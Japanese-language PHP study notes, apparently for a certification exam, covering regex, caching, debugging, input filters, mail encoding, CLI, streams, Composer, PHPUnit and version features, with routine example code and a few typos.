array (size=1)
  0 => 
    array (size=3)
      0 => string 'a' (length=1)
      1 => string 'a' (length=1)
      2 => string 'a' (length=1)

PCRE系でマルチバイトを扱うuオプション

preg_matchでマルチバイト文字を扱うときはUTF-8でuオプションを使います。 UTF-8以外は対応していません。
主に単語構成文字にマッチする\wの挙動が変わります。

// Unicodeを扱います。
$pattern = "/\w/u";
$subject = "あア亜";
$result = preg_match_all($pattern, $subject, $matches);
var_dump($result);
var_dump($matches);
int 3
array (size=1)
  0 => 
    array (size=3)
      0 => string 'あ' (length=3)
      1 => string 'ア' (length=3)
      2 => string '亜' (length=3)

PCRE Dオプション

Dオプションを指定すると末尾に改行があるときはマッチしません。

最短マッチ

量指定子は可能な限り長くマッチするよう働きます。
量指定子(*、+)へ?をつける(*?、+?)と最短マッチとなります。

サブパターン

(と)で囲まれた部分をサブパターンと呼びます。

言明

言明(assertion)とは、あるパターンの前後に対する条件付けを行うものです。

出典「徹底攻略PHP技術者認定試験」

先読み戻り読みの言明

種類|言明 —|— 先読み言明(肯定)|パターンX(?=パターンY) 先読み言明(否定)|パターンX(?!パターンY) 戻り読み言明(肯定)|(?<=パターンY)パターンX 戻り読み言明(否定)|(?<!パターンY)パターンX

インラインオプション

パターンの一部だけにオプションを指定するインラインオプションを使用します。
インラインオプションを記述した以降のパターンへ適用されます。
ただしサブパターンと併用するときはそのサブパターン内でのみ適用されます。

インラインオプション開始 終了 意味
(?i) (?-i) 大文字小文字を区別しない。
(?x) (?-x) パターン内の空白文字、#から行末までを無視します。

サブパターンとの併用

((?i)b) // サブパターン内にインラインオプションを指定します。
(?i:b) // インラインオプションiとサブパターンbを同時に指定します。

下記はサブパターンb?iになりbはオプションに続きiが現れるパターンなります。

(b?i)

サブパターンにネストして定義したインラインオプションはそのサブパターン内でのみ有効です。

パターン 対象 マッチ
a(?i)bc abc aBc abC aBC すべてマッッチ
a((?i)b)c abc aBc abC aBC abc aBc
a(?i:b)c abc aBc abC aBC abc aBc

正規表現関数

preg系 mb系
preg_filter /
preg_grep /
preg_match mb_ereg, mb_ereg_match
preg_match_all /
preg_replace_callback /
preg_replace mb_ereg_replace
preg_split mb_split, ereg_split
/ mb_ereg_search_init, mb_ereg_search, mb_ereg_search_getregs

str_splitもあります。

preg_match_allの第4引数

  • PREG_PATTERN_ORDER (デフォルト)
  • PREG_SET_ORDER
<?php
$result = preg_match_all('/\d{3}-?\d{4}/', 'My post number is 4600026 or 460-0026', $matches, PREG_OFFSET_CAPTRUE);
var_dump($result);
var_dump($matches);
int(2)
array(1) {
  [0]=>
  array(2) {
    [0]=>
    array(2) {
      [0]=>
      string(7) "4600026"
      [1]=>
      int(18)
    }
    [1]=>
    array(2) {
      [0]=>
      string(8) "460-0026"
      [1]=>
      int(29)
    }
  }
}
$result = preg_match_all('/\d{3}-?\d{4}/', 'My post number is 4600026 or 460-0026', $matches, PREG_PATTERN_ORDER);
var_dump($result);
var_dump($matches);
int(2)
array(1) {
  [0]=>
  array(2) {
    [0]=>
    string(7) "4600026"
    [1]=>
    string(8) "460-0026"
  }
}

PREG_SET_ORDERを指定すると、マッチごとの配列になります。PREG_OFFSET_CAPTUREはマッチ位置も取得するフラグです(前掲の例)。

preg_match_all('/\d{3}-?\d{4}/', 'My post number is 4600026 or 460-0026', $matches, PREG_SET_ORDER);
var_dump($matches[0][0]); // string(7) "4600026"
var_dump($matches[1][0]); // string(8) "460-0026"

置換

preg_replace 後方参照

パターン内でメタ文字()で囲まれた部分を後方参照できます。前から順に\1, \2, ..で参照します。

// httpをhttpsへ置換
$result = preg_replace('/(http):\/\/(.*)/', '\1s://\2', 'http://wwww.example.com');
var_dump($result); // string(24) "https://wwww.example.com"

先読み戻り読みの言明

preg_replaceなどのPCRE系の置換関数でも、先読み・戻り読みの言明を使用できます。

$result = preg_replace('/(?<=a)b/', 'X', 'ab cb'); // 直前がaのbだけを置換
var_dump($result); // string(5) "aX cb"
[基礎2 : 正規表現 FindxFine Web制作に関するメモ](http://www.findxfine.com/programming/regex/325.html)

キャッシュ/デバッグ

キャッシュ

PHP5.4まではオペキャッシュとオブジェクトキャッシュ(ユーザーキャッシュ)の両方をAPCが提供していました。
PHP5.5からオペキャッシュはOPcacheをオブジェクトキャッシュをAPCuが提供します。

種類 拡張モジュール
オペキャッシュ OPcache。デフォルトでバンドル。有効にはなっていません。
オブジェクトキャッシュ(ユーザーキャッシュ) APCu。デフォルトではバンドルされていません。

PHPのキャッシュ機構のおさらいと、opcacheの設定とかキャッシュクリアとか - waste of time

APCu

APC User Cache。
PECL拡張モジュール。オブエジェクトキャッシュを提供します。

<?php
$data = apcu_fetch('my_profile');
if ($data === false) {
    // データがキャッシュにないときは、コストのかかる操作をして取得する。
    // そして、その結果を保存してあとで使えるようにする。
    $data       = new stdClass();
    $data->name = 'Taro';
    $data->age  = '30';

    apcu_add('my_profile', $data);
    var_dump('キャッシュなし', $data);
} else {
    var_dump('キャッシュあり', $data);
}
Macへのインストール
$ brew search apcu
apcupsd                             homebrew/php/php54-apcu             homebrew/php/php56-apcu             homebrew/php/php70-apcu-bc          homebrew/php/php71-apcu-bc
homebrew/php/php53-apcu             homebrew/php/php55-apcu             homebrew/php/php70-apcu             homebrew/php/php71-apcu
$ brew install php56-apcu

XDebug

Xdebug: Documentation

設定項目 意味 デフォルト
xdebug.default_enable エラーイベントでスタックトレースを表示します。 1
xdebug.overload_var_dump var_dumpをXDebugの提供版へ変更します。 1
xdebug.var_display_max_children 配列、オブジェクトのプロパティの表示個数の上限を設定。-1は上限を設けない。 128
xdebug.var_display_max_data 文字列の表示上限。-1上限を設けない。 512
xdebug.var_display_max_depth オプジェクトや配列のプロパティが入れ子になっているときに、値を表示する上限を指定します。設定可能な最大値は1023です。-1上限を設けない。 3
xdebug.scream エラー抑制演算子@を無効化できます。 デフォルトは0です。

xdebug_print_function_stack

xdebug_print_function_stack関数はその関数がコールされるまでのスタックトレースを表示します。

function x() {
    $x = 'x';
    y($x);
}
function y($v) {
    $y = 'y' . $v;
    z($y);
}
function z($v) {
    echo $v;
    xdebug_print_function_stack('Trace');
}
x();
yx
( ! ) Xdebug: Trace in /path/to/php/debug/xdebug.php on line 30
Call Stack
#	Time	Memory	Function	Location
1	0.0004	242976	{main}( )	.../xdebug.php:0
2	0.0004	243008	x( )	.../xdebug.php:33
3	0.0004	243088	y( )	.../xdebug.php:22
4	0.0004	243216	z( )	.../xdebug.php:26
5	0.0004	243336	xdebug_print_function_stack ( )	.../xdebug.php:30

その他のデバッグ

var_dump/print_r

関数|TRUE, FALSE, NULLの扱い —|— print_r | TRUEは1へFALSE, NULLは表示されません。 var_dump| TRUE, FALSE, NULLを表示します。

$a = [true, false, null];
print_r($a);
Array
(
    [0] => 1
    [1] => 
    [2] => 
)
$a = [true, false, null];
var_dump($a);
array(3) {
  [0]=>
  bool(true)
  [1]=>
  bool(false)
  [2]=>
  NULL
}
関数 内容
debug_backtrace バックトレース(速度の問題などでXDebugが利用できないときに便利です)。
void debug_print_backtrace ([ int $options = 0 [, int $limit = 0 ]] ) debug_print_backtrace() は PHP バックトレースを 表示します。関数のコール、include / require されているファイル、 そして eval() された内容などが表示されます。
$dbg = debug_backtrace();
echo $dbg[0]['function'] . '<br>';  // 対象メソッド
echo $dbg[0]['class'] . '<br>';     // 対象クラス
echo $dbg[1]['function'] . '<br>';
echo $dbg[1]['class'] . '<br>';
echo $dbg[2]['function'] . '<br>';
echo $dbg[2]['class'] . '<br>';
exit;

20章 フィルター

関数
filter_var
filter_var_array
filter_input
filter_input_array

filter_var

PHP: filter_var - Manual

フィルターは大きく2つに分けることができます。

  • 検証フィルター
  • 除去フィルター

返り値

種類 通過 通過しない
検証フィルター 検証・型変換後の値(例: ‘123’はint 123) false
除去フィルター 除去後の値(除去する文字がなければ元の値) 除去済の値

検証フィルター

var_dump(filter_var('info@example.com', FILTER_VALIDATE_EMAIL));      // info@example.com
var_dump(filter_var('@example.com', FILTER_VALIDATE_EMAIL));          // false
var_dump(filter_var(123, FILTER_VALIDATE_INT));                       // 123
var_dump(filter_var('123', FILTER_VALIDATE_INT));                     // 123
var_dump(filter_var('123', FILTER_VALIDATE_INT));                     // false 123は全角数字に注意
var_dump(filter_var('-1', FILTER_VALIDATE_INT));                      // -1
var_dump(filter_var('1+1', FILTER_VALIDATE_INT));                     // false
var_dump(filter_var('1E+5', FILTER_VALIDATE_INT));                    // 指数表記はfalse
var_dump(filter_var('2.38', FILTER_VALIDATE_FLOAT));                  // 2.38
var_dump(filter_var('https://www.example.com', FILTER_VALIDATE_URL)); // https://www.example.com
var_dump(filter_var('www.example.com', FILTER_VALIDATE_URL));         // false
var_dump(filter_var('true', FILTER_VALIDATE_BOOLEAN));                // true
var_dump(filter_var('1', FILTER_VALIDATE_BOOLEAN));                   // true 1はtrueになる
var_dump(filter_var('false', FILTER_VALIDATE_BOOLEAN));               // false 正しい値でfalse
var_dump(filter_var('0', FILTER_VALIDATE_BOOLEAN));                   // false 正しい値でfalse
var_dump(filter_var('+0', FILTER_VALIDATE_INT));                      // 5.4.11未満 false, 5.4.11以降 0
var_dump(filter_var('-0', FILTER_VALIDATE_INT));                      // 5.4.11未満 false, 5.4.11以降 0
var_dump(filter_var('+0', FILTER_VALIDATE_FLOAT));                    // 0
var_dump(filter_var('-0', FILTER_VALIDATE_FLOAT));                    // 0
$options = [
    'flags' => FILTER_FLAG_ALLOW_OCTAL | FILTER_FLAG_ALLOW_HEX,
    'options' => [
        'min_range' => 0,
        'max_range' => 64,
        ],
];

var_dump(filter_var('077', FILTER_VALIDATE_INT, $options));           // 63
var_dump(filter_var('0x15', FILTER_VALIDATE_INT, $options));          // 21

除去フィルター

var_dump(filter_var('http://www.example.com', FILTER_SANITIZE_URL));  // http://www.example.com
var_dump(filter_var('http: //www.example.com', FILTER_SANITIZE_URL)); // http://www.example.com
var_dump(filter_var('aあ@example.com', FILTER_SANITIZE_EMAIL));        // a@example.com
var_dump(filter_var('あいう@example.com', FILTER_SANITIZE_EMAIL));      // @example.com 除去後の値がメールとして正しいかを除去フィルターは検証しません。
var_dump(filter_var('2+3', FILTER_SANITIZE_NUMBER_INT));               // 2+3 FILTER_SANITIZE_NUMBER_INTは整数の他に+-のみ許可
var_dump(filter_var('2.25', FILTER_SANITIZE_NUMBER_FLOAT));            // 225 フラグなしのときは2.25ではなく225を返します。
var_dump(filter_var('2.25', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION));             // 2.25

フィルターへコールバック関数を指定できます。

$input = '12345';
$output = filter_var(
    $input, 
    FILTER_CALLBACK,
    [
        'options' => function($value) {
            return mb_convert_kana($value, 'n', 'UTF-8');
    
        }
    ]
);
var_dump($output); // 12345

filter_var_array

$data = [
    'age' => '4.2',
    'mail' => 'aあ@example.com',
];
$filters = [
   'age' => [
       'filter' => FILTER_SANITIZE_NUMBER_INT
   ],
    'mail' => [
        'filter' => FILTER_SANITIZE_EMAIL
    ]
];
var_dump(filter_var_array($data, $filters));
array {
  'age' => string '42'
  'mail' => string 'a@example.com' 
}

filter_input

mixed filter_input ( int $type , string $variable_name [, int $filter = FILTER_DEFAULT [, mixed $options ]] )

type INPUT_GET、INPUT_POST、 INPUT_COOKIE、INPUT_SERVER あるいは INPUT_ENV のいずれか。

PHP: filter_input - Manual

filter_input_array

mixed filter_input_array ( int $type [, mixed $definition [, bool $add_empty = true ]] )

PHP: filter_input_array - Manual

メール

従来のメール(SMTP)は7bit文字を前提としていたため、日本語メールでは7bitで表現できるISO-2022-JP(JIS)が広く使われてきました。
また__件名などのヘッダはASCIIしか使えない__ため、JISをBase64でエンコードしてRFC 2047の形式(=?ISO-2022-JP?B?...?=)にする必要があります。

上記の理由から件名はJISをBase64でエンコードし本文はJISをそのまま使用する方法が一般的になりました。

テキストメールヘッダの代表的な例

Content-Type: text/plain;charset=ISO-2022-JP
Content-Transfer-Encoding: 7bit

メールのヘッダをちょっと分析してみました : 2刀流のプログラムのblog

メール送信関数

関数 内容
bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] ) メールを送信します。Fromヘッダがないとエラーになる環境があります。
bool mb_send_mail ( string $to , string $subject , string $message [, string $additional_headers = NULL [, string $additional_parameter = NULL ]] ) 「mb_send_mail — エンコード変換を行ってメールを送信する」php公式マニュアル。Fromヘッダがないとエラーになる環境があります。

mail関数

日本語処理を正しく行う必要があります。

<?php
mb_language('japanese');
mb_internal_encoding('UTF-8');

$to      = 'info@example.jp';
$subject = mb_encode_mimeheader('日本語の件名', 'JIS');
$message = mb_convert_encoding('日本語メールの本文です。', 'JIS');

$header_array = array(
    'Mime-Version: 1.0',
    'Content-Type: text/plain; charset=ISO-2022-JP',
    'Content-Transfer-Encoding: 7bit',
    'From: info@example.com',
);
$headers      = implode("\r\n", $header_array);

$result = mail($to, $subject, $message, $headers);
if ($result) {
    echo '送信完了';
} else {
    echo '失敗';
}

mb_send_mail関数

日本語を自動で処理しメールを送信します。

<?php
mb_language('japanese');
mb_internal_encoding('UTF-8');

$to = 'info@example.jp';

$subject = '日本語の題名 mb_send_mail';
$message = '日本語メールの本文。';


$mail_result = mb_send_mail($to, $subject, $message, 'From: info@example.com');
if ($mail_result) {
    echo '送信完了';
} else {
    echo '失敗';
}

画像添付

<?php
mb_language("japanese");
mb_internal_encoding("UTF-8");

// 画像の取得と画像のエンコード
$img          = file_get_contents("sample.jpg");
$img_encode64 = chunk_split(base64_encode($img));
$bound        = md5(uniqid(rand()));

// ヘッダ情報
$to      = "info@example.jp";
$subject = "画像添付サンプル";
$headers = "FROM:"."info@example.com\r\n"
    ."MIME-Version: 1.0\r\n"
    ."Content-Type: multipart/mixed;boundary=\"{$bound}\"\r\n";

// テキストパート
$message = "--{$bound}\r\n"
    ."Content-Type: text/plain; charset=iso-2022-jp\r\n"
    ."Content-Transfer-Encoding: 7bit\r\n"
    ."\r\n"  // ヘッダとボディーは空行で区切ります。
    ."テキストを記載します。\r\n";
//画像添付
$message .= "--{$bound}\r\n"
    ."Content-Type: image/jpeg; name=\"sample.jpg\"\r\n"
    ."Content-Transfer-Encoding: base64\r\n"
    ."Content-Disposition: attachment; filename=\"sample.jpg\"\r\n"
    ."\r\n" // ヘッダとボディーは空行で区切ります。
    .$img_encode64."\r\n"
    ."--{$bound}--\r\n";

// 件名と本文をエンコード
$subject = mb_encode_mimeheader($subject, 'JIS');
$message = mb_convert_encoding($message, "JIS");

// 送信
mail($to, $subject, $message, $headers);

コマンド

iniオプション(ハイフン2つ)

設定ファイルの配置場所を表示します。

$ php --ini

-iniと書いたときの注意

php -iniは、php.iniの内容を表示するコマンドではありません。-i(phpinfoの表示)などと解釈され、PHPの設定情報全体が表示されます。php.iniのパスを調べるにはphp --iniを使用します。

mオプション

コンパイル済みのモジュールを表示します。

$php -m

iオプション

$php -i

PHPの各種情報を表示します。phpinfo関数のコマンドライン版です。

Configure Command

コンパイル時のオプションを表示します。おもにphpinfo関数で表示する方法とコマンド表示する方法があります。

$ php -i | grep "Configure Command"

php -iは常にCLI版のPHPの情報を表示します。Webサーバー(mod_phpやPHP-FPM)側の設定を調べるには、Web経由でphpinfo関数を実行してください。

ビルトインサーバー(PHP5.4以降)

$ php -S localhost:8080 -t html

スクリプト

項目|内容 —|— argc/$_SERVER[‘argc’]|引数の数 コマンドラインスクリプトは必ずファイル名が渡されるため最低1です。 argv/$_SERVER[‘argv’]|引数の値の配列です。

スクリプトファイル cmd.php

<?php
echo '--- コマンドラインで入力した引数の数 ---' . PHP_EOL;
print_r($argc . PHP_EOL);
print_r($_SERVER['argc'] . PHP_EOL);
echo '--- コマンドラインで入力した引数の値 ---' . PHP_EOL;
print_r($argv);
print_r($_SERVER['argv']);

実行

$ php cmd.php foo bar
--- コマンドラインで入力した引数の数 ---
3
3
--- コマンドラインで入力した引数の値 ---
Array
(
    [0] => cmd.php
    [1] => foo
    [2] => bar
)
Array
(
    [0] => cmd.php
    [1] => foo
    [2] => bar
)

php.ini

設定方法

手段
php.ini
httpd.conf
.htaccess
.user.ini
Windowsレジストリ
ini_set関数

PHP_INI_*モード

モード 内容
PHP_INI_USER ユーザースクリプト(ini_set)またはWindowsレジストリで設定可能な項目。PHP5.3以降はuser.iniでも設定可能。
PHP_INI_PERDIR php.ini,.htaccess, httpd.conf, user.iniで設定可能
PHP_INI_SYSTEM php.iniまたはhttpd.confで設定可能な項目
PHP_INI_ALL どこでも設定可能な項目

注意するディレクティブ

ディレクティブ 内容
short_open_tag PHPタグの短縮系(<? ?>)の有効/無効を設定します。PHP5.4以降は<? echoの短縮系<?=はshort_open_tagによらず常に有効です。

追加 ストリーム(Stream)

In its simplest definition, a stream is a resource object which exhibits streamable behavior. That is, it can be read from or written to in a linear fashion, and may be able to fseek() to an arbitrary location within the stream.

出典「Modern PHP」

fseek

A stream is a transfer of data between an origin and destination. That’s it. The origin and destination can be a file, a command-line process, a network connection, a ZIP or TAR archive, temporary memory, standard input or output, or any other resource available via PHP’s stream wrappers.

出典「Modern PHP」

ストリームはoriginとdestination間でデータを伝達するための仕組みです。scheme(ストリームラッパー)ごとに実装が用意されています。

Streams provide the underlying implementation for many of PHP’s IO functions like file_get_contents(), fopen(), fgets(), and fwrite().

出典「Modern PHP」

ストリームはfile_get_contentsやfopenなどの関数で扱うことができます。

Every stream has a scheme and a target. We specify the scheme and target in the stream’s identifier using this familiar format: < scheme >:// < target > The < scheme > identifies the stream’s wrapper. The < target > identifies the stream data source.

出典「Modern PHP」

ストリーム指示子

< scheme >:// < target >

scheme | target —|— stream’s wrapper | data source

> <? php $ json = file_get_contents( 'http:// api.flickr.com/ services/ feeds/ photos_public.gne? format = json' ); 

Don’t be fooled by what appears to be a traditional website URL. The file_get_contents() function’s string argument is actually a stream identifier.

be fooled 騙される

file_get_contensの引数http:// api.flickr.com/ services/ feeds/ photos_public.gne? format = jsonはstream identifer(stream指示子)を指定しています。

scheme target
http api.flickr.com/ services/ feeds/ photos_public.gne? format = json
HTTP stream wrapper target

Many PHP developers don’t understand that a traditional URL is actually a PHP stream wrapper identifier in disguise.

出典「Modern PHP」

PHPのデフォルトのストリームラッパーはfile://で省略されることが多いです。

 $handle = fopen('/path/to/file', 'rb');
 // fileラッパーを省略せず記載
 $handle = fopen('file:///path/to/file', 'rb');

A popular misconception is that the fopen(), fgets(), fputs(), feof(), fclose(), and other PHP filesystem functions are for filesystem files only. This is not true. PHP’s filesystem functions work with all stream wrappers that support them. For example, we can use fopen(), fgets(),fputs(), feof(), and fclose() to interact with a ZIP archive, Amazon S3 (with the custom S3 wrapper), or even Dropbox (with the custom Dropbox wrapper).

出典「Modern PHP」

php://input は読み込み専用のストリームで、 リクエストの body 部から生のデータを読み込むことができます。 POST リクエストの場合は $HTTP_RAW_POST_DATA よりも php://input を使うのが望ましいでしょう。php.ini ディレクティブの設定に依存しないからです。 さらに、$HTTP_RAW_POST_DATA がデフォルトで設定されない場合は、 always_populate_raw_post_data を有効にするよりも $HTTP_RAW_POST_DATA を使うほうがメモリの消費量が少なくなるでしょう。 php://input は、 enctype="multipart/form-data" に対しては使用できません。 注意: PHP 5.6 より前のバージョンでは、 php://input でオープンしたストリームは、一度しか読み込めません。 また、このストリームは seek 操作をサポートしていません。 しかし、SAPI の実装によっては、別の php://input ストリームをオープンして読み込みを再開できる可能性もあります。 これは、リクエストの body 部のデータが保存されている場合にのみ可能となります。 通常、POST リクエストの場合はそのようになりますが、 PUT や PROPFIND といった他のメソッドの場合は保存されません。

http://php.net/manual/ja/wrappers.php.php

To get the Raw Post Data:

<?php $postdata = file_get_contents(“php://input”); ?>

http://php.net/manual/ja/reserved.variables.httprawpostdata.php

file://

file://

ビット演算/ビットマスク

関数の引数として定数のビットマスクを取ることが良くあります。

定数 値 2進数
DEF_A 1 00001
DEF_B 2 00010
DEF_C 4 00100
DEF_D 8 01000
DEF_E 16 10000

PHP: ビット演算子 - Manual

$a |= $bは $a = $a | $b
$option = 0;
$option |= DEF_A;
$option |= DEF_C;

if ($option & DEF_A) {
  // Aが設定
}

ロギング

基本

ディレクティブ 画面 ファイル
display_errors On Off
log_errors Off On
error_log / ファイルの絶対パス

log_errors = Onかつerror_logが設定されていないときは、SAPIのエラーロガー(Apacheならエラーログ、CLIなら標準エラー出力)へ出力されます。error_log = syslogを指定するとシステムロガーへ出力されます。

monolog

ロギングのパッケージとして多機能なmonologがあります。

use Monolog\Logger;
use Monolog\Handler\StreamHandler;

$log = new Logger('Monolog Sample');
$log->pushHandler(new StreamHandler('./monolog.log', Logger::DEBUG));
$log->addInfo('Information.');
$log->addError('Error message.');
$log->addDebug('Debug message.');

http://kzhishu.hatenablog.jp/entry/2015/10/04/200000 実行順序を正確に調べたい時は下記のコードが役に立ちます。

$log = new Logger('Monolog Sample');
$log->pushHandler(new StreamHandler('./monolog.log', Logger::DEBUG));
$log->addDebug('StepA: ' . time());
sleep(5);
.........
.........
$log->addDebug('StepB: ' . time());

出力フォーマット

$log = new Logger('Monolog Sample');
$log->pushHandler(new StreamHandler('./monolog.log', Logger::DEBUG));
$log->addDebug('my message', array('key1' => 'value1', 'key2' => 'value2'));
// 上記で出力されるログ(既定のLineFormatter。日時は実行時刻)
// [2017-01-01 00:00:00] Monolog Sample.DEBUG: my message {"key1":"value1","key2":"value2"} []
// 末尾の[]はextra(プロセッサで追加する情報)で、addDebugの引数では指定できません。

Composer

Composerはコンポーネント(パッケージ)管理ツールです。
Composerで管理されるコンポーネントはPackagistで配布されています。

» Composer

Packagistで配布されるコンポーネントはvendor/packageという一意の識別子を持ちます。
Packagistでの識別子とそのコンポーネントの名前空間(namespace)は同じとはかぎりません。

A common misconception is that the component’s PHP namespace must match the component’s vendor and package names. This is not true. The component’s PHP namespace is unrelated to the component’s vendor and package names. The vendor and package names are only used by Packagist and Composer to identify a component. You use the component’s namespace when using the component in your PHP code.

Lockhart, Josh. Modern PHP: New Features and Good Practices (Kindle の位置No.1510-1513). O’Reilly Media. Kindle 版.

インストール

$ curl -sS https://getcomposer.org/installer | php

composer.pharがカレントディレクトリへダウンロードされます。 正常にインストールが完了したかを確認する意味でバージョンを表示します。

$ php /path/to/composer.phar --version

composer.pharへ実行権限を付与します。
composer.pharを直接実行できるようになります。

$ chmod +x composer.phar
$ /path/to/composer.phar --version

パスの通っているディレクトリへ移動します(例 /usr/local/bin)。
どのディレクトリでも下記コマンドで実行できます。

$ composer.phar --version

簡略化のためcomposer.pharをcomposerへ名前を変更します。

$ composer --version

Composer本体アップデート

$ composer self-update

self-update後にエラーが起こるときは下記コマンドでself-updateする前に戻すことができます。

Use composer self-update --rollback to return to version x.x.x

初期化(composer.json作成)

$ composer init

対話的にcomposer.jsonを作成できます。
composer.jsonファイルが作成されます。

composer.jsonの例

{
    "require": {
        "monolog/monolog": "1.0.*"
    }
}

» Composer ドキュメント日本語訳

composer.jsonに記載したパッケージをインストール

$ composer install

installコマンドでパッケージをインストールします。具体的には下記処理が行われます。

  • composer.lockがあれば正確に記載のバージョンインストールします。なければcomposer.jsonで記載された範囲の最新版をインストールします。
    (vendor/autoload.phpが作成されオートロードが利用できます。)
  • composer.lockファイルを作成します。

パッケージ追加

// 通常の追加
$ composer require <vendor/package>
// 例
$ composer require league/csv
// バージョンを指定して追加
$ composer require league/csv:^7.1
// 開発でのみ必要なパッケージは--devオプションを付けます。
$ composer require <vendor/package> --dev

composer requireはパッケージを追加しcomposer.jsonへ追記します。

composer require –devは開発環境でのみ利用するパッケージを追加します。
composer installではインストールされず–devオプションを付けたcomposer install –devでインストールされます。

パッケージのインストール場所

通常、composer.jsonと同階層にvendorディレクトリが作成されます。

vendor/monolog/monolog

|-- composer.json
|
|-- composer.lock
|
|-- vendor
      |
      |--monolog
          |
          |--monolog
              |
              |-- src
                  |
                  |-- Monolog

パッケージのアップデート

// 一括
$ composer update
// 個別
$ composer update <package>

composer.jsonに記載された範囲の最新をインストールします。composer.lockは無視します(installとの違いに注意)。

トラブルシューティング

Composer自体のインストールでエラーがでるとき ComposerからLaravelを導入しようとしてOpenSSL周りのエラーで困った件 - Qiita

PHPUnit

PHPUnit – The PHP Testing Framework

インストール

Homebrewでインストールします。

設定ファイル

  • phpunit.xml.dist
  • bootstrap.php
    phpunit.xml.distから呼ばれます。

実行コマンド

$ phpunit ExampleTest              // ワーキングディレクトリのExampleTest.phpを実行
$ phpunit ExampleTest --debug      // デバッグ情報が表示されます。
$ phpunit ExampleTest --tap        // テスト単位で実行情報を表示しながら実行します。
$ phpunit -c phpunit.xml           // 設定ファイル指定
$ phpunit -c <dirctory>            // 設定ファイルのあるディレクトリを指定することもできます。
$ phpunit --testsuite hoge         // phpunit.xml.distで設定したテストスイート単位で実行できます。
$ phpunit --group hoge             // groupアノテーションを指定したテスト実行
$ phpunit --verbose                // 詳細な説明を表示
$ phpunit --coverage-html <dir>    // dirへhtml形式のカバレッジ出力

テスト中のログ

var_dumpで出力できます。

プライベートメソッド

基本はパブリックメソッドのテストでカバーしますが、
プライベートメソッドのテストが必要なときはリフレクションを使います。

テスト対象

<?php
namespace My\Package;

class Example {
    private function examplePrivateMethod($a, $b) {
    }
}

テスト

<?php

use My\Package\Example;

class ExampleTest extends PHPUnit_Framework_TestCase
{
    /**
     * @group relativePath
     */
    public function testExamplePrivateMethod()
    {
        $obj    = new Example();
        $method = new \ReflectionMethod(get_class($obj), 'examplePrivateMethod');
        $method->setAccessible(true);
        $actual = $method->invoke($obj, '第1引数', '第2引数');  // invokeの第1引数は対象クラスのインスタンス
        $expect = '.....';
        $this->assertEquals($expect, $actual);
    }
}

プライベートメソッドで他のプライベートメソッドの呼び出していても動作します。

ユーザー

PHP実行ユーザーとスクリプトファイルの所有者確認方法です。

PHP実行ユーザー確認

<?php 
echo exec('whoami');
// または
echo `whoami`;

CLI版は下記で調べます。

$ php -r "echo exec('whoami');"

スクリプトファイル所有者確認

実行ユーザーとはことなります。
ファイルの作成者を返します。

<?php echo get_current_user(); ?>

ZIP

Linuxコマンドzipで圧縮したフォルダをダウンロードするPHPの処理メモ。

ディレクトリ構造

example
|
|-- target  <- 圧縮対象
    |
    |.. ファイル

PHP

// zipファイル名
$fileName = 'myfile.zip';
/*
 * zipコマンド
 * 
 * 1. ディレクトリ移動
 * 2. ファイル圧縮
 */ 
 $dir = '/path/to/example';       // exampleへのパス
 $command =  'cd ' . $dir . ';' . // exampleディレクトリへ移動
'zip -r '. $fileName . ' ./target/'; // targetディレクトリを圧縮しmyfile.zipを作成
exec($command);  // コマンド実行
// zipファイルパス
$zipPath = $dir . '/' . $fileName;
// zip出力
header( "Content-Type: application/zip" );
header( "Content-Disposition: attachment; filename=" . basename( $zipPath ) );
header( "Content-Length: " . filesize( $zipPath ) );
ob_clean();
flush();
readfile( $zipPath );
// zipファイル削除
unlink( $zipPath );
exit( 0 );

上記の$dirや$fileNameに外部入力を含めるときは、escapeshellargで必ずエスケープしてください(OSコマンドインジェクション。10章を参照)。 zip拡張のZipArchiveクラス(PHP5.2以降)を使うと、外部コマンドなしでZIPを作成できます。

$zip = new ZipArchive();
if ($zip->open('/tmp/myfile.zip', ZipArchive::CREATE | ZipArchive::OVERWRITE) === true) {
    $zip->addFile('/path/to/example/target/a.txt', 'target/a.txt');
    $zip->close();
}

Server API

$ php -r 'echo php_sapi_name();'
  • Nginx + FastCGI
    fpm-fcgi
  • ビルトイン
    cli-server
  • 共用レンタルサーバー(CGI/FastCGI)
    cgi-fcgi

FPM

// php-fpmの状態確認
$ systemctl status php-fpm   # サービス名はディストリビューションにより異なります(例: php5-fpm)

正誤表

http://book.impress.co.jp/books/1111101169

PHP5.4で追加された機能

PHP: 新機能 - Manual

PHP5.5で追加された機能

PHP: 新機能 - Manual

Generator

<?php
function getGenerator() {
    yield 'a';
    yield 'b';
    yield 'c';
}

// Generatorクラスのインスタンスを返す
$generator = getGenerator();
var_dump($generator instanceof \Generator);  // true

foreach($generator as $value ) {
    echo $value . PHP_EOL;
}
bool(true)
a
b
c
<?php
function createGenerator() {
    echo 'Begin' . PHP_EOL;
    for($i = 0; $i < 10; $i++) {
        yield $i . PHP_EOL;
    }
    echo 'End' . PHP_EOL;
}

$generator = createGenerator();
echo 'Use Generator' . PHP_EOL;
foreach($generator as $value) {
    echo $value;
}
Use Generator
Begin
0
1
2
3
4
5
6
7
8
9
End

PHP5.6で追加された機能

PHP: 新機能 - Manual

トラブルシューティング

session_startで「headers already sent」になる

Warning: session_start(): Cannot send session cookie - headers already sent by (output started at /path/to/file.php:1)

(PHP7.2以降は「Failed to start the session because headers have already been sent by …」という文言になります。)

原因: session_startより前に何らかの出力があることです。<?phpより前の空白や改行、UTF-8のBOM、echoなどが該当します。

対策: 出力より前にsession_startを呼ぶ、ファイルをBOMなしUTF-8で保存する、?>の後ろに空白や改行を残さない(閉じタグを書かない)、出力バッファリングを使う。

バージョン別の機能早見表(本ドキュメントで使用しているもの)

バージョン 主な機能
5.1 spl_autoload_register(5.1.2)、PDO(標準バンドル)
5.2 E_RECOVERABLE_ERROR、json_encode/json_decode、ZipArchive
5.3 名前空間、クロージャ(無名関数)、遅延静的束縛、Nowdoc、DateTime::add/sub/diff、DatePeriod、mysqlnd、callStatic、__invoke、__DIR、PHP-FPM(5.3.3)、PDOのDSN charset(5.3.6)
5.4 []の配列記法、0b2進リテラル、ビルトインサーバー、callableのタイプヒント、SessionHandlerInterface、<?=の常時有効化、(new Foo)->bar()、関数呼び出し結果の配列参照、JSON_UNESCAPED_UNICODE/SLASHES、session_status
5.5 password_hash、Generator、OPcache、imagepalettetotruecolor、json_last_error_msg
5.6 hash_equals、定数式の初期値(プロパティ・引数・定数)、可変長引数(…)